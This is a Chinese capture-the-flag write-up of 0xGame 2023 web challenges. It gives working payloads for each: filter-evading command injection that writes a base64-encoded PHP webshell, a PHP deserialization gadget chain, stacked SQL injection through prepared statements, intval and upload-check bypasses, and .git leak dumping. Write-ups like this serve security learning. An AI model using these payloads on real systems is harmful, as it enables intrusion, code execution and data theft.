0xGame-2023

  1. week1
    1. signin
    2. hello_http
    3. baby_php
    4. Ping
    5. repo_leak
  • Week2
    1. ez_upload
    2. ez_unserialize
    3. ez_sqli
  • week1

    signin

    这道题是信息搜集,打开题目后查看源代码,有个assets/index-33309f51.js,打开后在页面最底部可发现一个sourceMappingURL=index-33309f51.js.map,猜测可能是sourcemap文件泄露

    将url栏中的index-33309f51.jsindex-33309f51.js.map替换,即可下载文件

    然后用reverse-sourcemap工具还原文件

    reverse-sourcemap -v index-33309f51.js.map -o output
    

    最后找了半天在src/main.js里面找到了flag

    hello_http

    这道题就是改请求包的数据

    baby_php

    这道题原本思考了一下用c=1024e2fff绕过,结果在本地可以,在靶场里就是不行,后面发现靶场用的是php7.4.27

    所以这道题最后用c=1024.2fff成功绕过

    究其原因就是大概php7.0.9以上intval函数会自动识别字符串中的科学计数法

    总结一下intval常见的绕过思路:

    int intval( $var, $base )

    base参数可选

    当var为整形数字时,函数自动识别var使用的进制

    当var为字符串时,将base设置为0后可自动识别var使用的进制

    绕过思路:
    1、进制自动转换
    2、数组绕过
    3、转换小数
    4、字符串整形转换(0x,0b,e)(php7.0以上已经可以识别科学计数法e)
    5、取反~ (当某个数字被过滤时,可以两次取反来绕过:intval(~~10)==intval(10))
    6、算数运算符(如果传入的 $var参数(只支持整形,不支持字符串)包含算数运算符,会先运算,再对运算结果进行转换)
    7、浮点数精度丢失问题(intval(0.58*100.0)==57)
    

    Ping

    这道题就是命令执行

    抓包然后用连接符执行命令

    (1); //分号,没有任何逻辑关系的连接符。当多个命令用分号连接时,各命令之间的执行成功与否彼此没有任何影响,都会一条一条执行下去。
    (2)|| //逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行。
    (3)&& //逻辑与,当用此连接符连接多个命令时,前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反。
    

    但是测试时发现/和空格被ban了,空格可以用%09绕过,/不能用没法跳转目录

    第二种方法就是写文件

    127.0.0.1&echo%09"<?php%09eval("ls");"%09>hhh.php
    

    但是进入文件后发现报错,测试了一下发现;也被ban了

    后面才知道还有一种方法,用base64编码

    先将<?php eval("ls");base64编码为PD9waHAlMDlldmFsKCJscyIpOw==(注意编码后的字符串不能有加号,加号会被url解码为空格然后再ban掉)

    然后再使用管道连接符base64解码命令

    127.0.0.1&echo%09"PD9waHAlMDlldmFsKCJscyIpOw=="|base64%09-d%09>hhh.php
    
    | 管道连接符,使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用
    

    后面发现这道题还可以看api.php的源码

    repo_leak

    这道题要拿githacker跑

    githacker –url http://120.27.148.152:50013/.git/ –output-folder result

    进入目录后查看历史版本

    git log --reflog
    

    切换到有flag的版本

    git reset --hard 8a5b670558921bd232d75b29542492f00698298b
    

    在当前目录匹配包含flag的文件

    grep -r  "flag" ./
    

    Week2

    ez_upload

    这道题给了源码,看了一下是二次渲染,那么最简单的方法就是上传一个能绕过二次渲染的gif

    一般要通过文件包含才能rce,但这道题没有文件包含,后面才发现这道题判断文件类型的时候是判断的MIME,也就是只需修改Content-Type为image/gif,文件后缀改为php

    ez_unserialize

    php反序列化

    直接上payload

    <?php
    highlight_file(__FILE__);
    class Cache {
        public $key;
        public $expired;
        public $helper;
        public function __wakeup() {
            $this->expired = False;
        }
        public function expired() {
            if ($this->expired) {
                $this->helper->clean($this->key);
                return True;
            } else {
                return False;
            }
        }
    }
    class Storage {
        public $store;
        public function __set($name, $value) {
            if (!$this->store) {
                $this->store = array();
            }
            if (!$value->expired()) {
                $this->store[$name] = $value;
            }
        }
        public function __get($name) {
            return $this->data[$name];
        }
    }
    class Helper {
        public $funcs;
        public function __call($name, $args) {
            $this->funcs[$name](...$args);
        }
    }
    class DataObject {
        public $storage;
        public $data;
        public function __destruct() {
            foreach ($this->data as $key => $value) {
                $this->storage->$key = $value;
            }
        }
    }
    $a=new Storage();
    $b=new Helper();
    $b->funcs=array("clean"=>"phpinfo");
    $c=new Cache();
    $c->expired=True;
    $c->helper=$b;
    $c->key=-1;
    $d=new DataObject();
    $d->storage=$a;
    $d->data=array("data"=>$c);
    echo serialize($d);
    //?u=O:10:"DataObject":3:{s:7:"storage";O:7:"Storage":1:{s:5:"store";N;}s:4:"data";a:1:{s:4:"data";O:5:"Cache":3:{s:3:"key";i:-1;s:7:"expired";b:1;s:6:"helper";O:6:"Helper":1:{s:5:"funcs";a:1:{s:5:"clean";s:7:"phpinfo";}}}}}
    

    这道题要设置属性个数比实际属性个数多绕过__wakeup(),在测试的时候,发现修改DataObject或Cache的属性个数都可以

    ez_sqli

    根据提示,这道题要用堆叠注入,并且堆叠注入在前面语句有回显的情况下没法回显

    所以要配合报错注入或盲注,并且源码中屏蔽了很多关键词,所以用使用预处理语句

    通过测试,发现空格也被屏蔽了,可以用/**/绕过

    id;sEt@a=concat("sel","ect/**/","extractvalue(1,concat(0x7e,(","sel","ect/**/","flag/**/","from/**/","flag/**/limit/**/","0,1)))");PRepare/**/hello/**/from/**/@a;execute/**/hello;
    

    也可以直接用char函数来拼接ascii:

    m="select extractvalue(1,concat(0x7e,(select flag from flag limit 0,1)))"
    char=""
    for i in range(0,len(m)):
        char+="char("+str(ord(m[i]))+"),"
    print(char)
    

    payload

    id;set@sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(101),char(120),char(116),char(114),char(97),char(99),char(116),char(118),char(97),char(108),char(117),char(101),char(40),char(49),char(44),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(48),char(120),char(55),char(101),char(44),char(40),char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(102),char(108),char(97),char(103),char(32),char(108),char(105),char(109),char(105),char(116),char(32),char(48),char(44),char(49),char(41),char(41),char(41));prepare/**/s1/**/from/**/@sql;execute/**/s1;
    

    没显示完全,用right

    select extractvalue(1,concat(0x7e,right((select flag from flag limit 0,1),30)))
    

    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。